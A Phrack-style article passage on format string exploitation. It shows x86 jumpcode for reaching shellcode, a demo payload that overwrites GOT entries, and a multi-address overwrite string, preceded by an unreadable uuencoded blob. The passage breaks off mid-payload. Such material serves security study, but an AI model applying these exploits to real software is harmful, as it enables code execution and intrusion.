L*9Y#O:\(&BZ'Z%D5E$Q#Y&O")B4`RCQR@[>N1W-1R.45:+W^FXQXZ(]>:NA
L=!`9#0J#JS*4@]FBLJJAB7:='X=:\G/FTI;+DF'U--C[QH]4@QR3&C!2$"(
B;#F2JNF/IUSU[@;DR;>N(`NXX;*!+*)F^"T+RH;/9=&)DB"PNO9EM#4`R:`
5J'YH[T=#T_^6?;_*=_CW;5QF_^OVZ+]OYU6I]/<P;-`K4ZW^^#_NY=GK?]/
N=GWW^S_W!^>'_U7G_V'=NF??'@W?/_F_+RPU=5I,2SK1]<)+Y.C`]\JRJ^A
4_*N#]V**AQ+V!;\:\._K0K5*_/(W9W+)W_Y^>#LP_[@G*Q4W/=#(Y6#"`:[
>1PW?&\DPT[^K[TK;VHCR?)_JSY%6AMM2U@('0C:T#:##9YF;(,#U%?8#D6A
`RJL:U02-M/M_>S[KKSJD'`WS4SO4+/;1GE55AXO7[[C]S;P%(HF+%@7L0H=
3-T0+GAP&"EYB'`ZSQH)A/2OQ3B&NSZ\:#@!<J>8+MML%&ZZ#]\T6&>46Z@7
S>;7._7\`M&X`[=P+,'XT[;SP@61"9CS#;J!40CL=;I=.A.2B7ABQ^GDS"](
CQ_]]YU=,1\\K&R-91..>\CJOM.+"*'R?Z6S1GU)(F<[DY_4>S!30\L!NXF%
ZO;/AOVSZ<'_I]9D/4,>9Y%5.02`5P`#`3QM,NN"WT%8__3.79WRN*[3FKL)
V/Z4LXP>CT%_EBGOI(XCJTSH-^FP#WH8.3Z!G-8E,\K4._&Z62*WS)`0U@K8
".PDN'7-%GS-IHQZ7D8C+Z.9F6$HAET3FQ\J2M4^MUHX"QGY+<[?WW?S8_NU
6YS_I($BU,TG^-_&9D[9;2ZK2U6H7D[9;[FL+L6MY_3Q"9>MU7+RZ[4/6+]>
S\NO4WZCD9??H/QF,R^_2?F;FWGYFY2?.\;U%N5O;>7E;U'^]G9>_C;E?_MM
7OZWE/\D;_SJ3RC?GV,GO\'C]_QY7CZ/WXL7>?D\?@<'>?D\?H>'>?D\?B]?
YJR5!H_?C=9@@\?R1FNPP>.:OP;=LCS&6P<T4EOTO<_SRO)XZU)<+Z=LD\=>
E^)ZHA=JYM*%9CYAN#%E:/*H\ZZ"([\-Y\TPC.&J'L8DR&+54[\;HF)J-(GG
6B1.$LU>%'\DD5K8G2]0G<A*N^$0*:!(PY!(?HK5@A0@P\GD(V.[368]!K18
C!<H+^1F41,`+9QYXC/U";4(_<]=N&FAV&HR[E?5D4@+$&U=R=>2V.]B,5G$
U(KNZ4`5I8"(A]AMD.M3VZ@6N)A-%E.27ER0ZI,_!07JTTD<1Z@?9`@.>/><
).US!7<S<GOK15T6FL*[K.CO,KPB;0EV!;4=<$V,4=FQ;%A$1"DR?#THJ&?4
&&L&IZU(WGW\944'J8TNF>NB(3),%1YX<;_?XQA3_;!'H&P/,<F(\=W"!+%7
B+'Y$A:BGW3W5HS/A@>P=O?B8@_((HS./GW:&0&@7B`L(;KJP\2SO%/F+HII
M`"N!D37Z(E123D=XG*-PLD\-C">?C(*XFHAAY'!':BV0=_RKG\_O&*Y@C8)K
MD.O!6EEIE:7<Z*?`&D@6\CKJ<8++P4-_;8K.,_1=GNL`-25"A:\P/4EP*Q46
MW0A&0*`5(*1/`(9Q.)2`6>+2^L!L]9H#49]FD412DV98"K9E<BCYHK$"2Z5<
M;GFMC*,2(5J`DUPFSP]':H.2NMB5P;H$2-3=F@3%I(JT^R2T6^0C;0\9E&C2
M@2D=C_M#D1E"?HE[4S%C6D%L?Y<&TN)VJFJY$U:3O$P80QMAK3]WAT^0)?6'
M6NNKLB_VK9$HCB.UX`C096$I)TKCQ$-E%1JHK2$E#.J4!I/%K*+#1]!0SB]1
MJX<4'9UN/M&.)1,IEM72.*'1!@RJT$D>?*O.(/7O^;7"5<`*8+6F[*8JZQ[$
MTWXW&D1(SJF%BEB%L`9)._UR]6A.AB+5*O^6Q`%]\R8JJC#"6;.&L-<14K3F
M)A<I.._E%(ESH_.$0:>4#3T+I1*U*Z"4U'*90V%$+)/C0<8@=EK3\I4+BA40
MMG.XE9WN,#VU4_W[VG<;-&+[W[MP80U=`@DE]6;(^E^1.:):MJ+ZEWMJ=[W,
MV\M=Y49KL&I]LZX$5_473\3L5TB+Z'U8U7^W-.?KGV7V__5;>L>J^&^U5L/@
M/VUNM]#^O[YYC_]S)T^U_;UR3&A5L0[_7ZM^"__%T]YU-@0*/!G&Q:!Z!E70
M]A;^?/U6!=8D_?TZ;(31Y*H?LSA+%'!<X^R7X_;^SZDZ/CR$@P_AP$,XZ!`?
M`F[MX/#LQ>G1V_;1R;$T22<`"OQF(6JHPUGW,D9C#9;\L3D>HSZ0\062]VY_
M-D?OS:"+]&P6A=:*3W\'_!A5U?O!<]/C]X-3LA,B1CF`]I@1A>-)X/#@<!(S
MO%$?J5T4C]@P@KA(8"S)E@@/)XX=`7DCYLG#<S[;\#45LMZ(NHMA.(,Z>&9I
M.Z!JD.P/FJS$T&IW'EWA&]`MMV]0+L1V*4#;NP@O0V2*,)B1C@[H*O*H;"C`
M&E]M$!(1Q\]#&9#I"_17&M.V2#P;)S019S(3U3;\![KX?CW"SN$3I'`\JNKE
MA"\6;)DPG0#K"/P=VS_.8;U-Y_C^P`P;&1$2!Z#M.![%CD%#Z?W@Z'@RQ_'8
M(>U]0#9&L["+I@)P\>%O&@N3/@=6H1^3.1';]HA5"7/(`5M/]6DEO%]GNS_X
M['+5^;J!_CKXOOU>3X:0#/AI:<,D+,A"`2UO+L6J'^Y=SI[2MG8T+&@Z9EN_
M=%HG&!,G;^CD9>*9O$?\$H0<6;\J5]5;C=.(IC\"TBB=H35HE-NQ6$R8'<)*
M\7\N^C'.N=XF;C?'3E=.IOVQ.PIX>0.&:WCM5HB="BO04V`!5=6!GB9____0#
MW`H5V!3^XHAQ:G&E$S?NOOC*>?'1&*V'T()5NY)4U0NVXJ,[_@BV081=PZT2
MNZWTG%;,N-X`P<5I8I[?Q#+8%:>%`].";6`ER(M3OYW5@U6P+T)Y#W_>?_/V
M]:'>[%FDZ)R<CQ31FJMP%O7A*(!U_RF\!DY3;(I&(Q1"C.%T@'O!3O)4,,<`
M9YP1#:*E)>0<*ILR*ILVL2DUJA"(BN-.DR6!3;XA<VE+,UU#3NQ\&*<Z!>.N
MZAOUC4:M5H<?;=5H[FRV<)4Z?=%_-77/9='R@2+A@ERR#(<%<)3J'^%X@4*F
M.FQ+>D%`K4]'_!E2G>S>A.1Y9BF/A(X&FHY6)+0:>2#I3OU:KS2_R#SN_]#^
M_N34T&PZH@\/U?[KLQ-)LQ%]2O5[!][_GT^:_V^?')S<[CM6^?]NUAG_M;;5
MVFHV,?Y/<ZMV'___G3IX)W)Z)MPR),R)[)Z"FENB)23&QC`\?HCP:C>47@T'0
M_SQ%XBE<`AR;[(,3"9DB]I6,Z+3,I3OJH04ZMAG\<X&,')[!DS%ZM*!T1:2G
M*(0ENA;'BWX0L#R-K%U#-4:V`DV^@?:Q<:SN')F([ZQO!/"LYS^02PH#S8L)
M+88>ZMX%P-.'0V8AM'&Z./"1E?0U&7SCJZ7N)[POA#UM;CL*S"5"F^^R"3G;
M&9N6L+_H#43B6DD=7^SAZX&-ZE&?XFD?F$(H>$1S\Y$YWQ"8,33)AF%@6\;S
MOG%KZDW,^P+[*A4$^\-X4F%9/M]&\!@6WX<0<0O_Q5:Q:F\/^A`@<H,^-5H[
M]4JCLKF^]>1)90LV+.3B5/'"X-L+'\$\!CPL>]C6Y6@T(A-UM61*9%K4"3"*
MTD$96>:-H5GQY4;9'A]I574VF<VNV;'!=@:6$_"-\X#&AM;QY%,5V_X>V7FT
MZQ^'P^L8+XIPA8/;SR>R"R9Y;9=X)Y\;=LRL^0"N!/:*2!H#9*FUW1NU654_
M]>4U?:?#J(,)Q1X]GK"M-0E%M6KF(VIWM,<;\B%\'V%S:;S&HKRKZL8R]\.8
*QO"7%S3*0IPO*NM`+T0YKHB^E&)&S+^X]F6Z#QZ#\4'0A]I-(`P@'SC.?V-
OEAN`S]=7F.O46XZ9G'N3E`P"A8]HI]P!N7.>TZQ%./YA.QW+L/A`&=P?CE#
9Y2@()?4BO!*<!L@2@7O0)Y_CK>.":OX%N-Y-,0A)/FB,Y=!P34^)RZI(L1M
UM_[K^5N]/EO>;W;!X"_*?Y["R-!</R?!MK_W>.____E/QOS?.@#8*ORO1I/L
/[>VFZW-&L:"K&]N-S?O^;^[>/XP_M=%[_P_``&,?LIM5_^TB&#TTZYPG3(;
]:(9"0\I(1,:S&MX4DA`A24;GB0;IH1;QPRS;[P'#;M__M"30?_--KJM=ZS2
_[5J+4W_M[<:B/_8JFW?W__OY+'V_PX98[PIH@CV@H&7F+5`0FX*&KX;LM1S
+_.JF0"F7@334J+I<F9H`,Y-Q05@OZ-TP%$_SH<3!V"&;H%9J`KZ!:+,7W\F
..`Z*FO*:ZQ$I8#`WR0Z`(+MHRW"KNESJLK2[J?BMCK6XS(5"%>;&,HYM)@Y
#3TS"3S;9.?4N>R'/>DO6O2@R50R>U?U8&3P>JDP6WZ0#049:$@"9.&[\4OP
7Y,HWR.)TQDYF_6L09$YT^P;35/9YG(X`.$4!24=F(KD`/0JREV:N*CMVA0_
A(&)EM"3Z71GCF:Z=]-YOM'<)OP8"XZA26DPAK?0^3\-YY<EV^',=6\*WL!-
TH,UY@^JP+=[KI=>F56^E[2F!^A_NL3]=#X+Q_%H,KN(!M>95&+9!*56+=GB
B><#.RIFK$\HI#@3_BOK4_NGG[5/7[QY6^(,>OO3IXY#J&=/Z*PJ*%!1SER0
G>&:`50(X9]/>LU)IQEO*(H-X$[)],FAF_;-6=/KE[V)+ZQ#"L@UTVFLJS$^
$,W">F8N"T.R=`3$+!1:ZY!F:,4^\Z1.@1V2CI!9S?/>:,GC4"X;#)W@K3['
'=F\POL,[22==Y;IM^2T6MPHEM-Q+61&:%>QZ#!%H[+7^M0,4\]2HAX332$V
O2F38$S:Y01#:369-A9W7)MW@U=;%Z/:FB3;1AF$P(L:P]2#1MY01DW9]6'7
XPVF"\DL<RE3AG-M;;OX3&QR&<"8WYP8.CJP,D>/;`_7U'S$PYAYE!D3:1E@
*.R/2,;<V2Y3TXD>_[N9N#_P9/#_MPX`N(+_;[;J+2O_J=>)_V_=\_]W\N3R
_]HS]_1-Y^#H]/"X?58B*(O9B"SDK8S#2T:(V]45T]42C&U_VJ%5F.,$@53(
"R<8,GRKU6OP2\B8'U[8P1)$$#30FJ0EK@22*I<!_E$=8!@PU*-H?BJ<EXB)
>AC/$UP4Y-SDM'YPUCDZ@[&!MJI`8D8,>68;^H;MG7!\N_/)[/H!@E<(X<W%
PLBQ4[;@OAH%@QKB:LX4<5<8K,0,@^F3*A7M?-\0G,-VB)JQ76I/YN&0#F,Q
-]MY/]<P@V;0,;<SQY+T%EO[0$8%[</(<*^?51_Z&G<DNZSMOQ_X^!ML_^2W
C&8U3/)[*J-91+64["33M`*")7GX]Z]N!,-BF:AHAM"P&_0A!R>=T\,W)S\<
MWET(9G2"1F[='#X8P?-<XD5K"B+Y*)/0L'IW5,UM>,ANF2AN21:^[,A77*6
<2ZHB]<]']&$^!-&-&%.U@$UL9R5I35(7W!W>%<Z)S]QF_.1NW)@:6X-'<;_
```

```
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
6L1P]I2;W<[`;X?N&WD=H\SEW1IR<XD;&X9^<Y/YKD4SEFIAO+2%1.&97WBV
M/"57WA9)T[]HJ<Y[;I!G<WR\<,KTUZB=;;^E*088Y3#X#I"$;U.L,L1!YVT
W%W6<7?5=[1UX*_'CUDKXLT5;8ON!YDLM6RVLHET%I6$PXP]BDQ@CP<\W?8C
O^0>&>[QXB_/XEJ1^^GTDG/\;CHG`I)/0M-<2D/T4<%LBZ4[=M.:S]<7;^J(
]..%]NI.ZR&Y0_8X]106*3\%Y/]O'?`K\:RR_V\UMHC_W]R"JT`=\5\;M<9]
```

```
M_-<[>?[G:YZ`_D_I]6),#'KT<Q93A(B/T9S+?4W#V<4#^!^PJ6R*=MY'TTJT
M#`AR6F<PK*#PMVY/P9T6%9FC\".!>D(B(V/M(TSX9(RW#@&?2I=/PU&M_6\6
M7E6RGBGQ%Y*`X/[7P&Q_UCMNBO^XU6BT:IM-VO^UQCW^XUT\[OR3$NI/>,<J
M_,=:?=.9?Z+_V\W[^#]W\K#Q[HO)]'I&1E,<>D")P@6%.H7V]X<=%.R\/CP]
MZ[1/3EZ_@GN\51+GY>/]LVXE0`+!`_?2TXHZ+Q?PEM8=33'AO*Q.'=T%%CUV
MRE;4N$R7NK$N3RE4Q6AMYQ,$3B1QMTC?#;*,JV1`$4]"RV!1E_*4%O@.`F&D
MYDFC8*Q$I/0(;I75:E4K'(@G364A/\C\6W:M-?79$1%TYDK"44M'-2*9VTU(
MT@U;7V&C3T'MB'R#$=?GS=:]W/Z_\G'I/YLEW/X[5O+_!O]EJ[;9VD+\Y_KF
M/?[+G3S:_J?S]O3HQ\[KHS,@!H80NXF:G&OI=)&XA:(QN#`./[\:SP7'GD0L
M2.1O#T2>[4RXRIK%D-^P7E%,=U..14EAHM+J5R2'G@PP517^&E8\$DH$V!<;
;9]9R2:D_/O<$]/ZY?^Z?O];S?S5<AR(`\```
`
end
```

|=[EOF]=---=|

==Phrack Inc.==

0x0b, Issue 0x3b, Phile #0x07 of 0x12

```
|=--------------=[ Advances in format string exploitation ]=---------------=|
|=-------------------------------------------------------------------------=|
|=----------=[ by gera <gera@corest.com>, riq <riq@corest.com> ]=----------=|
```

--[1. Intro

Is there anything else to say about format strings after all this time? probably yes, or at least we are trying... To start with, go get scut's excellent paper on format strings [1] and read it.

This text deals with 2 different subjects. The first is about different tiny tricks that may help speeding up bruteforcing when exploiting format strings bugs, and the second is about exploting heap based format strings bugs.

So fasten your seatbelts, the trip has just begun.

--[Part I - by gera

--[2. Bruteforcing format strings

> "...Bruteforcing is not a very happy term, and doesn't make justice for a lot of exploit writers, as most of the time a lot of brain power is used to solve the problem in better ways than just brute force..."

My greets to all those artists who inspired this phrase, specially ~{MaXX,dvorak,Scrippie}, scut[], lg(zip) and lorian+k.

--[3. 32*32 == 32 - Using jumpcodes

Ok, first things first...

A format string lets you, after dealing with it, write what you want where you want... I like to call this a write-anything-anywhere primitive, and the trick described here can be used whenever you have a write-anything-anywhere primitive, be it a format string, an overflow over the "destination pointer of a strcpy()", several free()s in a row, a ret2memcpy buffer overflow, etc.

Scut[1], shock[2], and others[3][4] explain several methods to hook the execution flow using a write-anything-anywhere primitive, namely changing GOT, changing some function pointer, atexit() handlers, erm... a virtual member of a class, etc. When you do so, you need to know, guess or predict 2 different addresses: function pointer's address and shellcode's address, each has 32 bits, and if you go blindly bruteforcing, you'll need to get 64 bits... well, this is not true, suppose GOT's address always starts with, mmm... 0x0804 and that your code will be in, erm... 0x0805... ok, for linux this may even be true, so it's not 64 bits, but 32 total, so it's just 4,294,967,296 tries... well, no, because you may be able to provide a cushion of 4K nops, so it goes down to 1,048,576 tries, and as GOT must be walked on 4 bytes steps, it's just 262,144... heh, all theese numbers are just... erm... nonsense.

Well, sometimes there are other tricks you can do, use a read primitive to learn something from the target process, or turn a write primitive into a read primitive, or use more nops, or target stack or just hardcode some addresses and go happy with it...

But, there is something else you can do, as you are not limited to writing only 4 bytes, you can write more than the address to the shellcode, you can also write the shellcode!

----[3.1. write code in any known address

Even with a single format string bug you can write not only more than 4, bytes, but you can also write them to different places in memory, so you can choose any known to be writable and executable address, lets say, 0x8051234 (for some target program running on some linux), write some code there, and change the function pointer (GOT, atexit()'s functions, etc) to point it:

```
            GOT[read]:     0x8051234     ; of course using read is just
                                         ; an example

            0x8051234:     shellcode
```

What's the difference? Well... shellcode's address is now known, it's always 0x8051234, hence you only have to bruteforce function pointer's address, cutting down the number of bits to 15 in the worst case.

Ok, right, you got me... you cannot write a 200 bytes shellcode using this technique with a format string (or can you?), maybe you can write a 30 bytes shellcode, but maybe you only have a few bytes... so, we need a really small jumpcode for this to work.

----[3.2. the code is somewhere else

I'm pretty sure you'll be able to put the code somewhere in target's memory, in stack or in heap, or somewhere else (!?). If this is the case, we need our jumpcode to locate the shellcode and jump there, what could be really easy, or a little more tricky.

If the shellcode is somewhere in stack (in the same format string perhaps?) and if you can, more or less, know how far from the SP it will be when the jumpcode is executed, you can jump relative to the SP with just 8 or 5 bytes:

```
              GOT[read]:      0x8051234

              0x8051234:      add $0x200, %esp   ; delta from SP to code
                              jmp *%esp          ; just use esp if you can

              esp+0x200:      nops...            ; just in case delta is
                                                 ; not really constant
                              real shellcode     ; this is not writen using
                                                 ; the format string
```

Is the code in heap?, but you don't have the slightest idea where it is? Just follow Kato (this version is 18 bytes, Kato's version is a little longer, but only made of letters, he didn't use a format string though):

```
              GOT[read]:      0x8051234

              0x8051234:      cld
                              mov $0x4f54414a,%eax   ; so it doesn find
                              inc %eax               ; itself (tx juliano)
                              mov $0x804fff0, %edi   ; start searching low
                                                     ; in memory
                              repne scasl
                              jcxz .-2               ; keep searching!
                              jmp *$edi              ; upper case letters
                                                     ; are ok opcodes.

              somewhere
                in heap:      'KATO'               ; if you know the alignment
                              'KKATO'              ; one is enough, otherwise
                              'KKATO'              ; make some be found
                              'KKATO'
                              real shellcode
```

Is it in stack but you don't know where? (10 bytes)

```
              GOT[read]:      0x8051234

              0x8051234:      mov $0x4f54414a,%ebx   ; so it doesn find
                              inc %ebx               ; itself (tx juliano)
                              pop %eax
                              cmp %ebx, %eax
                              jnz .-3
                              jmp *$esp

              somewhere
               in stack:      'KATO'               ; you'll know the alignment
                              real shellcode
```

Something else? ok, you figure your jumpcode yourself :-) But be carefull! 'KATO' may not be a good string, as it's executed and has some side effect. :-)

You may even use a jumpcode which copies from stack to heap if the stack is not executable but the heap is.

----[3.3. friendly functions

When changing GOT you can choose what function pointer you want to use, some functions may be better than others for some targets. For example, if you know that after you changed the function pointer, the buffer containing the shellcode will be free()ed, you can just do: (2 bytes)

```
            GOT[free]:      0x8051234          ; using free this time

            0x8051234:      pop %eax           ; discarding real ret addr
                            ret                ; jump to free's argument
```

The same may happen with read() if the same buffer with the shellcode is reused to read more from the net, or syslog() or a lot of other functions... Sometimes you may need a jumpcode a little more complex if you need to skip some bytes at the beggining of the shellcode:
(7 or 10 bytes)

```
            GOT[syslog]:    0x8051234          ; using syslog

            0x8051234:      pop %eax           ; discarding real ret addr
                            pop %eax
                            add $0x50, %eax    ; skip some non-code bytes
                            jmp *$eax
```

And if nothing else works, but you can distinguish between a crash and a hung, you can use a jumpcode with an infinite loop that will make the target hung: You bruteforce GOT's address until the server hungs, then you know you have the right address for some GOT entry that works, and you can start bruteforcing the address for the real shellcode.

```
            GOT[exit]:      0x8051234

            0x8051234:      jmp .              ; infinite loop
```

----[3.4. no weird addresses

As I don't like choosing arbitrary addresses, like 0x8051234, what we can do is something a little different:

```
            GOT[free]:      &GOT[free]+4       ; point it to next 4 bytes
                            jumpcode           ; address is &GOT[free]+4
```

You don't really know GOT[free]'s address, but on every bruteforcing step you are assuming you know it, then, you can make it point 4 bytes ahead of it, where you can place the jumpcode, i.e. if you assume your GOT[free] is at 0x8049094, your jumpcode will be at 0x8049098, then, you have to write the value 0x8049098 to the address 0x8049094 and the jumpcode to 0x8049098:

```
  /* fs1.c                                                      *
   * demo program to show format strings techinques            *
   * specially crafted to feed your brain by gera@corest.com */

  int main() {
    char buf[1000];

    strcpy(buf,
      "\x94\x90\x04\x08"          // GOT[free]'s address
      "\x96\x90\x04\x08"          //
      "\x98\x90\x04\x08"          // jumpcode address (2 byte for the demo)
      "%.37004u"                  // complete to 0x9098 (0x9098-3*4)
      "%8$hn"                     // write 0x9098 to 0x8049094
      "%.30572u"                  // complete to 0x10804 (0x10804-0x9098)
      "%9$hn"                     // write 0x0804 to 0x8049096
      "%.47956u"                  // complete to 0x1c358 (0x1c358-0x10804)
      "%10$hn"                    // write 5B C3 (pop - ret) to 0x8049098
          );

    printf(buf);
  }

  gera@vaiolent:~/papers/gera$ make fs1
  cc     fs1.c   -o fs1

  gera@vaiolent:~/papers/gera$ gdb fs1

  (gdb) br main
  Breakpoint 1 at 0x8048439

  (gdb) r
  Breakpoint 1, 0x08048439 in main ()

  (gdb) n
  ...0000000000000...

  (gdb) x/x 0x8049094
  0x8049094:    0x08049098

  (gdb) x/2i 0x8049098
  0x8049098:    pop    %eax
  0x8049099:    ret
```

So, if the address of the GOT entry for free() is 0x8049094, the next time free() is called in the program our little jumpcode will be called instead.

This last method has another advantage, it can be used not only on format strings, where you can make every write to a different address, but it can also be used with any write-anything-anywhere primitive, like a "destination pointer of strcpy()" overwrite, or a ret2memcpy buffer overflow. Or if you are as lucky [or clever] as lorian, you may even do it with a single free() bug, as he teached me to do.

--[4. n times faster

----[4.1. multiple address overwrite

If you can write more than 4 bytes, you can not only put the shellcode or jumpcode where you know it is, you can also change several pointers at the same time, speeding up things again.

Of course this can be done, again, with any write-anything-anywhere primitive which let’s you write more than just 4 bytes, and, as we are going to write the same values to all the pointers, there is a cheap way to do it with format strings.

Suppose we are using the following format string to write 0x12345678 at the address 0x08049094:

```
    "\x94\x90\x04\x08"           // the address to write the first 2 bytes
    "AAAA"                       // space for 2nd %.u
    "\x96\x90\x04\x08"           // the address for the next 2 bytes
    "%08x%08x%08x%08x%08x%08x"  // pop 6 arguments
    "%.22076u"                   // complete to 0x5678 (0x5678-4-4-4-6*8)
    "%hn"                        // write 0x5678 to 0x8049094
    "%.48060u"                   // complete to 0x11234 (0x11234-0x5678)
    "%hn"                        // write 0x1234 to 0x8049096
```

As %hn does not add characters to the output string, we can write the same value to several locations without having to add more padding. For example, to turn this format string into one that writes the value 0x12345678 to 5 consecutive words starting in 0x8049094 we can use:

```
    "\x94\x90\x04\x08"           // addresses where to write 0x5678
    "\x98\x90\x04\x08"           //
    "\x9c\x90\x04\x08"           //
    "\xa0\x90\x04\x08"           //
    "\xa4\x90\x04\x08"          //
    "AAAA"                      // space for 2nd %.u
    "\x96\x90\x04\x08"          // addresses for 0x1234
    "\x9a\x90\x04\x08"          //
